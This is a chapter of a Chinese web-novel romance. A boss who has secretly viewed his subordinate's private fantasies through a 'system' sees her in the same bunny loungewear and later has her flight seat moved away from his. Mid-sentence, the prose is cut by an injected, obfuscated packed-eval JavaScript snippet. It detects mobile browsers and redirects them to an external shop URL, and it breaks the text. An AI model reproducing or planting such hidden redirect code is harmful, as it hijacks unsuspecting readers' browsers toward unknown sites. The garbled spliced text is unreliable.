程迦发现，时间第一次变得这么难熬。
门“咔哒”一声合拢，将她那句“我一会儿就过来”关在了门外。
走廊瞬间沉入一种被抽干的寂静，连空调送风的微响都显得突兀。
分明只是简单的几句交代，却像一颗被投入死水潭的石子，涟漪反复。
他走回厨房，锅里烧开的水还在兀自翻滚，白雾弥漫。
意大利面的包装袋被随意扔在台面，封口只撕了一半。
他怔怔地看着翻滚的水泡，过了好几秒才想起原本的目的。
然后机械地将面条下入沸水。
结果，彻底的走神开始了。
——浴室。
上午保洁来过，但角落呢？
淋浴间的玻璃水垢清干净了吗？
地漏会不会有之前掉落的头发？
那条她可能会踩到的灰色防滑垫，质感会不会太粗硬，不够舒服？
他甚至能想象出她赤足踩上去时微凉的触感。这个联想让他喉头发紧，下意识朝浴室方向瞥去，仿佛能穿透墙壁进行视觉检查。
——那间房。
直播用的房间，方才把许知微拒在门外，就是为了去关那个房间的门。但他记得自己太匆忙了，锁舌似乎没有完全卡入？
万一——他猛地转身，立刻抬脚去确认，又在最后一步硬生生刹住。
不行，万一她突然摁门铃呢？
他得第一时间给她开门。
——气味。
他无声地深吸了一口气。
洗衣液的淡香，木制家具的气息，还有他自己身上未散的、运动后淡淡的汗味，以及方才放纵的味道。
这味道让他突然焦虑起来。
她会不会闻到？
觉得不洁？
他是不是该立刻去冲个澡，或者至少换件衣服？
这些不安的念头让他浑身不自在。
就在这纷乱的思绪像沸水般咕嘟冒泡时——
“叮咚。”
门铃声清脆地响起。
程迦的身体瞬间绷直，像被无形的线陡然拉紧，随即又为自己的过度反应感到难堪。
他强迫自己放缓呼吸，走到玄关，手握上门把时，却下意识地垂下了眼睑，避开了即将与门外之人对视的可能。
门开了。
“我拿好东西了。”她的声音从下方传来，轻快，自然。
他没敢抬眼，只是侧身让出通道，声音竭力维持平稳：“嗯，进来吧。”
她动作利落，脱鞋，进入，脚步轻捷地径直走向浴室方向，没有多余的张望——就像她一直对自己不感兴趣那般，她对他的公寓，也毫无兴致。
直到浴室门“咔哒”一声关上、落锁，程迦才迟钝地意识到：
可她还是进来了。
不再是隔着网络或办公室的遥远存在，而是真真切切地，在他的私人领域里，仅隔着一道门。
淅沥的水声很快响起。
先是阀门打开的短暂空响，接着是稳定而持续的水流击打地面的声音。
那声音在寂静的房间里被无限放大，每一个水滴都像是砸在他紧绷的神经上。
他逃也似的回到厨房。
锅里的水还在沸腾，蒸汽氤氲。
意大利面早已煮过了最佳时间，软塌塌地浮在水面，他却浑然不觉。
他的全部感官，都被那持续的水声劫持。
——她到底怎么想？竟然找他借浴室？
——代表什么？代表他对她来说，很安全？
——浴室的沐浴露味道会不会太冲了？她会不会不喜欢？
——空调温度够吗？是不是应该开个暖气？
——镜子上会不会有难以察觉的水垢？
带着无数的杂念，他机械地关掉炉火，拿起漏勺时，才看到面条已经失去了所有筋骨，烂熟地纠缠在一起。
他皱了皱眉，却没有丝毫重煮的欲望。
算了。
食欲早已不知去向。
水声停了，公寓又陷入一段令人心悬的寂静。
接着，吹风机的低鸣响起，断断续续，时而高时而低。那声音像一只无形的手，攥住了他全部的注意力。
他站在原地，近乎屏息地聆听着这个过程，无意识地计算着时间，直到那声音也彻底归于沉寂。
浴室门再次打开。
“程总，”她的声音带着热水浸润后的温润松弛，“谢谢你，真的帮大忙了。”
这一次，他终于转过身。
也终于，鼓足勇气，让视线完整地落在她身上。
她只是穿着一套再普通不过的居家服——柔软的浅粉色棉质布料，上衣胸口印着一只憨态可掬、甚至有点傻气的卡通兔子。
头发吹得半干，柔顺地披在肩头，发梢还蕴着湿润的光泽。
整个人看起来温暖又温馨，与职场中那个锋利冷静的许知微判若两人。
也正是这副毫无攻击性的日常模样，猝然劈进程迦的脑海。
他的瞳孔在那一瞬间剧烈收缩，血液仿佛瞬间冲上头顶，又立刻冻结。
他认出来了。
这颜色、这质地、甚至那卡通兔子略显傻气的神态，与他系统中那段被反复神游，直至上限达到而被锁定的核心幻想记录，完全重合。
那是“微微不微”202601232245幻想。
在那个由她主导的幻想片段里，褪去所有社会身份与伪装的许知微，穿着的就是这套柔软且亲切的粉色兔子家居服。
那是她意识深处最松弛的模样，也是他透过系统窥见后，最为沉迷的渴望。
他无数次渴望看到的，那个她幻想中的她——那个只在他作为“走leetcode”才被允许带入私密维度里，才会展露的令人心悸的另一面。
而现在。
这个他隔着系统屏幕反复观摩、暗自珍藏的模样，竟然活生生地站在了他现实的客厅里，真实地向他道谢。
以一种近乎嘲讽的精准，将那份他最私密的、最渎神的、最僭越的渴望，直接投射到了程迦这个身份的生活里。
这种视觉冲击，反而成了让他误以为他的单相思得到了双向反馈的验证。
他窥见了她的欲望，而此刻，她带着欲望载物，站在他面前，对他一无所知地笑着。
还笑得那么动人。
他，可以僭越么？
当然不行！
他此刻是程迦，又不是“走leetcode”！
他想被她当成变态么？
“……没事。”他开口，声音干涩得几乎劈裂，喉结艰难地上下滚动，试图压下那瞬间翻涌上来的慌乱，以及更深层、更不该在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127084|196129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此刻复苏的灼热悸动。
他几乎是狼狈地仓促移开视线，不敢再多看她一秒。
仿佛再多停留一秒，他眼中无法控制的震荡、混乱，以及那被瞬间勾连起的、属于无数次神游深处的、滚烫而私密的记忆回响，就会无处遁形。
厨房里，煮过头的意大利面开始散发出淡淡的、近乎糜烂的淀粉气味，像某种现实的、却已彻底失序的注脚。
*
周一的早晨，像一台精准重启的服务器，带着不容置疑的秩序感。
程迦刚结束一场跨洋视频晨会，内线电话便适时响起，秘书的声音一如既往地专业高效。
“程总，下下周旧金山的国际展行程草案已出。去程是周二中午的直飞，回程周日。酒店仍安排在会场附近，步行可达。”
电话那头传来轻微的纸张或屏幕滑动声，“航班座位按惯例处理了，您在商务舱1A，许总在1B，方便飞行期间沟通项目细节。”
1B。
那他俩，不是得挨着坐十几个小时？
程迦原本快速浏览下一封邮件的目光，却像被无形的钩子猛地拽住，钉在了半空。
十几个小时。
密闭的金属舱体，被恒定低鸣和黯淡灯光包裹的狭长时空。
人在那里，防御会随着体力和耐心一同流失，睡意昏沉时意识会模糊边界，清醒时又会被迫感知到身旁人的一切——呼吸的频率，翻动纸张的轻响。
他几乎是不受控制地，在脑海成形了一个画面：她坐在触手可及的右侧，或许戴着降噪耳机试图隔绝世界，或许在长途飞行的倦怠中，会褪去白日里那层冷静的壳，露出某种他不该看见、却已在幻想系统中窥见过的松弛。
而他的记忆，却在此刻，极其不合时宜地、残忍地将两幅画面重叠——
一副是现实中她作为下属的、公事公办的可能状态；
另一副，却是那套粉色兔子家居服所锚定的、属于“微微不微”最私密幻想里的、毫无防备的许知微。
她对此毫不知情。而他，却要带着这份全知的又见不得光的秘密，与她肩并肩，被困在万米高空长达十几个小时。
还怎么工作协同？
这简直是一场对他岌岌可危的自制力，进行的极限压力测试。
程迦的指尖在光滑的桌面上极轻地蜷缩了一下。
“把她的座位调开。”他说。
语气平静无波，没有解释，仿佛只是在纠正一个无关紧要的行程疏漏。
电话那端，秘书明显停顿了半拍。这个指令违背了所有高效便捷的常规操作，尤其对象是这次项目的核心成员许知微。
“……好的，程总。”她迅速接上，职业本能压下了疑惑。
通话结束。
办公室里只剩下空调系统低沉的运转声，窗外的晨光清澈冷冽，映在他没什么表情的脸上。
过了一会儿，行程确认邮件已经刷新，许知微的座位号被悄无声息地替换成了一个遥远的数字。
程迦盯着那行被修改过的信息，看了好几秒。一种极其细微的的空落感，混在如释重负的松懈之后，悄然蔓上心头。
他强行移开视线，重新聚焦于满屏的待办事项。
他害怕，害怕他的理智控制不住他的欲望，就再也无法回到那个可以坦然比邻而坐的、简单的从前了。